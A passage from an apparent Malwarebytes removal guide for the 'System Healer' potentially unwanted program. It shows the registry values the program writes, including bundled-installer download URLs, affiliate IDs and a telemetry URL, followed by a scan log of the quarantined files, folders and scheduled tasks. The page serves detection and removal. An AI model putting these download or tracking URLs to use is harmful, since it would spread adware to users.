8sHrhj5ilRiv1IKi0-G51vTE8OyTZvjeb9LuuieLHezk9XkCJtBi4eXTNfhCtyazRfKVkoMDRAQwyl4T9W1zpgv-UyfkbJuYf9_2vZr4fChP6_fYv4XFc"
"1"="REG_SZ", "vTpJ_ebhNINk_lTVV8UusMxe3-2-"
[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\SystemHealer]
"DisplayIcon"="REG_SZ", "C:\Program Files (x86)\SystemHealer\Uninstaller.exe"
"DisplayName"="REG_SZ", "System Healer"
"DisplayVersion"="REG_SZ", "4.1.0.0"
"Publisher"="REG_SZ", "SystemHealer"
"UninstallString"="REG_SZ", "C:\Program Files (x86)\SystemHealer\Uninstaller.exe"
"URLInfoAbout"="REG_SZ", "http://www.systemhealer.com"
[HKEY_CURRENT_USER\Software\System Healer]
"AdsKey1"="REG_SZ", "Software\Super Updater\BuyNowURL"
"AdsKey2"="REG_SZ", "Software\Microsoft\Windows\CurrentVersion\Uninstall\MyPC Backup"
"AdsURL1"="REG_SZ", "http://dl.superpcdownload.net/221002394/SuperUpdaterSetup.exe"
"AdsURL2"="REG_SZ", "http://pcutilitiespro.backupcdn.com/partner_setup.exe"
"Aff"="REG_SZ", "351002394-US-263"
"CartURL"="REG_SZ", "http://gen.securedshopgate.com/?t=01&b=35&tid=351002394-US-263_334C45DB-700E-4AC1-AE67-8692047E6D29&clb=1"
"CBM"="REG_SZ", "0"
"EULA"="REG_SZ", ""
"Hardware"="REG_SZ", "6a87b46b8e145b0e53be71232981adc76ac76de7"
"HomePage"="REG_SZ", "http://systemhealer.com/"
"IA"="REG_SZ", "1"
"InfoReq"="REG_SZ", "http://ba.systemhealerhost.net/t/i/sh?sid=351002394-US-263&dt=%dt%&gid=334C45DB-700E-4AC1-AE67-8692047E6D29&mi=6a87b46b8e145b0e53be71232981adc76ac76de7&tz=%tz%&ln=%ln%&lc=%lc%&bis=%bis%&bief=%bief%&biefx=%biefx%&bif=%bif%&crg=%crg%&os=%OS%&f=2031708079"
"InitialScan"="REG_DWORD", 0
"Installation"="REG_SZ", "334C45DB-700E-4AC1-AE67-8692047E6D29"
"InstLang"="REG_SZ", "1033"
"IR"="REG_SZ", "1"
"PEV"="REG_DWORD", 1
"PRIV"="REG_SZ", ""
"RegularScan"="REG_DWORD", 0
"SupportPage"="REG_SZ", "http://systemhealer.com/support/#contact"
"token"="REG_SZ", "ede0d2fc3b57050ed74a0e8d1b739a7d"
"UILink"="REG_SZ", "http://gen.securedshopgate.com/?b=35&t=2&purchase&tid=351002394"
"WinVer"="REG_SZ", "6.1"
Malwarebytes Anti-Malware log:Malwarebytes Anti-Malware
www.malwarebytes.org
Scan Date: 03/02/2016
Scan Time: 11:59
Logfile: mbamSystemHealer.txt
Administrator: Yes
Version: 2.2.0.1020
Malware Database: v2016.02.03.02
Rootkit Database: v2016.01.20.01
License: Premium
Malware Protection: Disabled
Malicious Website Protection: Disabled
Self-protection: Disabled
OS: Windows 7 Service Pack 1
CPU: x64
File System: NTFS
User: {username}
Scan Type: Threat Scan
Result: Completed
Objects Scanned: 318789
Time Elapsed: 5 min, 5 sec
Memory: Enabled
Startup: Enabled
Filesystem: Enabled
Archives: Enabled
Rootkits: Enabled
Heuristics: Enabled
PUP: Enabled
PUM: Enabled
Processes: 2
PUP.Optional.SystemHealer, C:\Program Files (x86)\SystemHealer\RescueMonitor.exe, 3572, Delete-on-Reboot, [eb6389d30594f442ca170f320301837d]
PUP.Optional.SystemHealer, C:\Program Files (x86)\SystemHealer\SystemHealer.exe, 3652, Delete-on-Reboot, [eb6389d30594f442ca170f320301837d]
Modules: 0
(No malicious items detected)
Registry Keys: 7
PUP.Optional.SystemHealer, HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\SystemHealer, Quarantined, [c38b510be2b745f131391c8a1ce532ce],
PUP.Optional.SystemHealer, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\TREE\System Healer Task, Delete-on-Reboot, [53fb59032a6f9c9af32cb88004001be5],
PUP.Optional.SystemHealer, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\TREE\System HealerPeriod, Delete-on-Reboot, [4c02560621788fa728f7e652e51f55ab],
PUP.Optional.SystemHealer, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\TREE\System HealerStartUp, Delete-on-Reboot, [ba94fa625c3da88eda4502360004cd33],
PUP.Optional.SystemHealer, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\TREE\SystemHealer Monitor, Delete-on-Reboot, [93bb1c403e5bd363c65a39ff48bce020],
PUP.Optional.SystemHealer, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\TREE\SystemHealer Run Delay, Delete-on-Reboot, [e569e478b3e61f1731ef1d1b966ed12f],
PUP.Optional.SystemHealer, HKCU\SOFTWARE\SYSTEM HEALER, Quarantined, [153999c3fd9c7cbace803bfd00048779],
Registry Values: 2
PUP.Optional.SystemHealer, HKCU\SOFTWARE\SYSTEM HEALER|HomePage, http://systemhealer.com/, Quarantined, [153999c3fd9c7cbace803bfd00048779]
PUP.Optional.SystemHealer, HKCU\SOFTWARE\SYSTEM HEALER|SupportPage, http://systemhealer.com/support/#contact, Quarantined, [064846162a6fdc5ac787be7a23e18c74]
Registry Data: 0
(No malicious items detected)
Folders: 5
PUP.Optional.SystemHealer, C:\Program Files (x86)\SystemHealer, Delete-on-Reboot, [eb6389d30594f442ca170f320301837d],
PUP.Optional.SystemHealer, C:\Users\{username}\AppData\Roaming\System Healer, Quarantined, [cb83a8b411885ed8b7357d61ba487090],
PUP.Optional.SystemHealer, C:\Users\{username}\AppData\Roaming\System Healer\Languages, Quarantined, [cb83a8b411885ed8b7357d61ba487090],
PUP.Optional.SystemHealer, C:\Users\{username}\AppData\Roaming\System Healer\WL, Quarantined, [cb83a8b411885ed8b7357d61ba487090],
PUP.Optional.SystemHealer, C:\ProgramData\Microsoft\Windows\Start Menu\Programs\System Healer, Quarantined, [f05e1844aaefc86ee00d8b53e41e05fb],
Files: 30
PUP.Optional.SystemHealer, C:\Users\{username}\Desktop\SystemHealer[1].exe, Quarantined, [e06e9fbdc8d147efcc9e34724eb3b34d],
PUP.Optional.SystemHealer, C:\Program Files (x86)\SystemHealer\Uninstaller.exe, Quarantined, [c38b510be2b745f131391c8a1ce532ce],
PUP.Optional.SystemHealer, C:\Users\Public\Desktop\Launch System Healer.lnk, Quarantined, [60ee4814bcdd1a1c1208b286659fd030],
PUP.Optional.SystemHealer, C:\Windows\System32\Tasks\System Healer Task, Quarantined, [0747cb919efb53e3120961d71aea2bd5],
PUP.Optional.SystemHealer, C:\Windows\System32\Tasks\System HealerPeriod, Quarantined, [ba9438245544a59146d53efad92b7987],
PUP.Optional.SystemHealer, C:\Windows\System32\Tasks\System HealerStartUp, Quarantined, [55f96def8118f5418c8f59df9173b050],
PUP.Optional.SystemHealer, C:\Windows\System32\Tasks\SystemHealer Monitor, Quarantined, [74dad18ba5f4fa3c50cc092f0400e61a],
PUP.Optional.SystemHealer, C:\Windows\System32\Tasks\SystemHealer Run Delay, Quarantined, [85c9de7e24757fb7a775aa8e14f07888],
PUP.Optional.SystemHealer, C:\Windows\Tasks\System HealerPeriod.job, Quarantined, [57f7fe5e2376ad89b36a6ace62a208f8],
PUP.Optional.SystemHealer, C:\Windows\Tasks\System HealerStartUp.job, Quarantined, [252982da85145dd9829bf642808446ba],
PUP.Optional.SystemHealer, C:\Program Files (x86)\SystemHealer\HealerCheckout.exe, Quarantined, [eb6389d30594f442ca170f320301837d],
PUP.Optional.SystemHealer, C:\Program Files (x86)\SystemHealer\HealerConsole.exe, Quarantined, [eb6389d30594f442ca170f320301837d],
PUP.Optional.SystemHealer, C:\Program Files (x86)\SystemHealer\RescueMonitor.exe, Quarantined, [eb6389d30594f442ca170f320301837d],
PUP.Optional.SystemHealer, C:\Program Files (x86)\SystemHealer\SHShellExtension.dll, Quarantined, [eb6389d30594f442ca170f320301837d],
PUP.Optional.SystemHealer, C:\Program Files (x86)\SystemHealer\SystemHealer.exe, Delete-on-Reboot, [eb6389d30594f442ca170f320301837d],
PUP.Optional.SystemHealer, C:\Program Files (x86)\SystemHealer\SystemHealer.ini, Quarantined, [eb6389d30594f442ca170f320301837d],
PUP.Optional.SystemHealer, C:\Users\{username}\AppData\Roaming\System Healer\Languages\Danish.xml, Quarantined, [cb83a8b411885ed8b7357d61ba487090],
PUP.Optional.SystemHealer, C:\Users\{username}\AppData\Roaming\System Healer\Languages\Dutch.xml, Quarantined, [cb83a8b411885ed8b7357d61ba487090],
PUP.Optional.SystemHealer, C:\Users\{username}\AppData\Roaming\System Healer\Languages\English.xml, Quarantined, [cb83a8b411885ed8b7357d61ba487090],
PUP.Optional.SystemHealer, C:\Users\{username}\AppData\Roaming\System Healer\Languages\French.xml, Quarantined, [cb83a8b411885ed8b7357d61ba487090],
PUP.Optional.SystemHealer, C:\Users\{username}\AppData\Roaming\System Healer\Languages\German.xml, Quarantined, [cb83a8b411885ed8b7357d61ba487090],
PUP.Optional.SystemHealer, C:\Users\{username}\AppData\Roaming\System Healer\Languages\Italian.xml, Quarantined, [cb83a8b411885ed8b7357d61ba487090],
PUP.Optional.SystemHealer, C:\Users\{username}\AppData\Roaming\System Healer\Languages\Norwegian.xml, Quarantined, [cb83a8b411885ed8b7357d61ba487090],
PUP.Optional.SystemHealer, C:\Users\{username}\AppData\Roaming\System Healer\Languages\Parameters.xml, Quarantined, [cb83a8b411885ed8b7357d61ba487090],
PUP.Optional.SystemHealer, C:\Users\{username}\AppData\Roaming\System Healer\Languages\Portuguese.xml, Quarantined, [cb83a8b411885ed8b7357d61ba487090],
PUP.Optional.SystemHealer, C:\Users\{username}\AppData\Roaming\System Healer\Languages\Spanish.xml, Quarantined, [cb83a8b411885ed8b7357d61ba487090],
PUP.Optional.SystemHealer, C:\Users\{username}\AppData\Roaming\System Healer\Languages\Swedish.xml, Quarantined, [cb83a8b411885ed8b7357d61ba487090],
PUP.Optional.SystemHealer, C:\ProgramData\Microsoft\Windows\Start Menu\Programs\System Healer\Launch System Healer.lnk, Quarantined, [f05e1844aaefc86ee00d8b53e41e05fb],
PUP.Optional.SystemHealer, C:\ProgramData\Microsoft\Windows\Start Menu\Programs\System Healer\System Healer on the Web.url, Quarantined, [f05e1844aaefc86ee00d8b53e41e05fb],
PUP.Optional.SystemHealer, C:\ProgramData\Microsoft\Windows\Start Menu\Programs\System Healer\Uninstall.lnk, Quarantined, [f05e1844aaefc86ee00d8b53e41e05fb],
Physical Sectors: 0
(No malicious items detected)
(end)As mentioned before the full version of Malwarebytes Anti-Malware could have protected your computer against this threat.We use different ways of protecting your computer(s):
- Dynamically Blocks Malware Sites & Servers
- Malware Execution Prevention
Back to top
Sign In
Create Account
